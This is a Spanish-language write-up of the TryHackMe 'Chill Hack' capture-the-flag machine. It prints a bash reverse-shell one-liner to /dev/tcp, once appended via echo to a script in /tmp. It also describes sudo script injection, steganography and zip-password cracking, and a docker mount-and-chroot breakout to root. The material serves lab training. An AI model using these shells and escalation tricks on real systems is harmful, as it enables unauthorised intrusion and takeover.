TryHackMe | Chill Hack | Write up (#THM) by r1cky_r3x

 

Chill Hack











Por
Rick Álvarez (aka r1cky_r3x)


Camino hacia el eJPTv2



.



Pre-Configuración TryHackMe



Nota: en ocasiones me sucede que estoy ejecutando cosas y la maquina se me queda colgada, entonces la termino y la vuelvo a iniciar con una nueva IP.


Reconocimiento

Ping, IP y SO: 


Enumeración

Quick Scan

Servicios y Versiones



Puerto 21


Y con esto obtenemos ...


Puerto 80

Nmap enum



Whatweb



Sitio web:



Código fuente:

No se ve nada interesante en el código...


Hay una carpeta que me mostro el script de http-enum de nmap, vamos a ver que tiene:


Vaya vaya... vamos a intentar algo relax...

¿Que podemos intentar aquí?

Exacto una concha reversa, osea una reverse shell...

Maquina de kali:

Ejecutamos el siguiente comando:

bash -c 'bash -i >& /dev/tcp/10.6.22.89/4343 0>&1'

OJO: hay que cambiar la IP a nuestra maquina de kali:

Ejecutamos...

Jajajajaja eso si no lo esperaba...

...

Vamos hacer un fuzzing a la carpeta de "secret"

Vale, vamos a ver si tenemos acceso a images


Pufffff 

Despues de un gran rato intentando logre una reverse shell

Te lo explico en la Explotación...



Puerto 22

Nmap scripts:


Fuerza bruta?

Justo tenemos 2 usuarios que podríamos hacer fuerza bruta activa... vamos a ver is encontramos algo de pura casualidad...


Esta cosa no me trajo nada... asi que lo cancelé...


Explotación

Note que puedo ejecutar el comando "echo"

Prueba rápida:


Así que heche andar mi creatividad y lo que hice fue:

- Crear una carpeta "rick" en /tmp/

- Crear un echo "echo hola" > /tmp/rick/echo.sh

- Darle permisos de ejecución a /tmp/rick/echo.sh (esto si me lo permitió la webshell)

- Probar /tmp/rick/echo.sh


- Posteriormente agregue mi conexión reversa con echo:

echo "bash -c 'bash -i >& /dev/tcp/10.6.22.89/4343 0>&1' " >> /tmp/rick/echo.sh

- Volví a ejecutar /tmp/rick/echo.sh

Y como ya estaba escuchando por el puerto 4343 en mi maquina de kali:

Vuala!

Estamos dentro

Vamos a ver si aquí podemos obtener nuestra primera flag:

...

pues no, pero encontramos que www-data, podemos ejecutar con sudo un bash como el usuario apaar:


Vamos a ver que tiene este archivo:

La línea que me llama la atención es:

$msg 2>/dev/null

Esto significa que pudiéramos inyectar alguna bash pero, según sudo, ahora seriamos el usuario apaar.

Vamos a probar lo:


Bien,

Ya somos apaar, vamos a ver que podemos hacer con este usuario...

Perfecto!

Ya tenemos nuestra primera flag

Ahora vamos por la post explotación ...


Post Explotación

Despues de haber jugado un poco, encontre en /var/www/files un archivo index.php, el cual tenia una contraseña de root:



Jugando un poco me di cuenta que era directamente de la base de datos.

Por lo que vi en la línea de la contraseña es de mysql:

De ahí obtuve una conexión a la base de datos...


Llevamos estas password a crackstation para ver si existen en la base de datos de esta aplicacion...

Ahora sabemos que estas contraseñas son de la web pero 

Podemos verificar que pudieran ser reutilizadas en por ejemplo ssh:


Pues parece ser que no, por aqui no parece ser ni movimiento lateral ni escalada de privilegios..

...

Uy vaya que dio mucha guerra esta maquina, tuve que reiniciar el laboratorio

Despues de picarle un muuuuuy buen rato, me di cuenta que habia unas imagenes en /var/www/files/images

una de ellas era hacker-with-laptop_23-2147985341.jpg

Resulta que esta imagen la descargue desde la maquina victima a mi maquina kali


Y desde aquí le hice un stegseek

Resulta que tenia un archivo zip dentro... así que para descomprimirlo tuvimos que hacer un trucazo con john the ripper, no sin antes hacerle un zip2john ya que pedía contraseña:


Extrajimos...


Y le hicimos un cat al archivo source_code.php...


Desde aqui vemos que le hace un base64 a una palabra de entrada por POST y lo compara con IWQwbnRLbjB3bVlwQHNzdzByZA==

Le hicimos el decode de base64 y


Según el archivo "source_code.php" pareciera que le da la bienvenida a anurodh, entonces intentamos con este usuario...


Bueno

Al menos ya estamos avanzando y somos otro usuario

Vamos a indagar y enumerar un poco con este usuario...

Indagando un poco los permisos de este usuario...

Tenemos docker

Y me acorde que existe una manera de hacerle breakout a un contenedor...

Si lo ejecutamos

Estamos dentro de contenedor pero... 

Con todo el contexto de la maquina victima gracias a los paraemtros:

-v /:/mnt

chroot /mnt sh


¿Esto que quiere decir?

Que todo el sistema victima, esta contenido en el contenedor de docker, pero con la novedad de que somos root.

Aquí podriamos hacer lo siguiente:


Ahora, si salimos y vamos a nuestra maquina victima, y ejecutamos...

Somos root!

Ahora si podemos ir por nuestra super flag:











Vaya maquina

Como se me hizo noche, ya me andaba rindiendo... lo bueno que si pudimos con ella!








Comentarios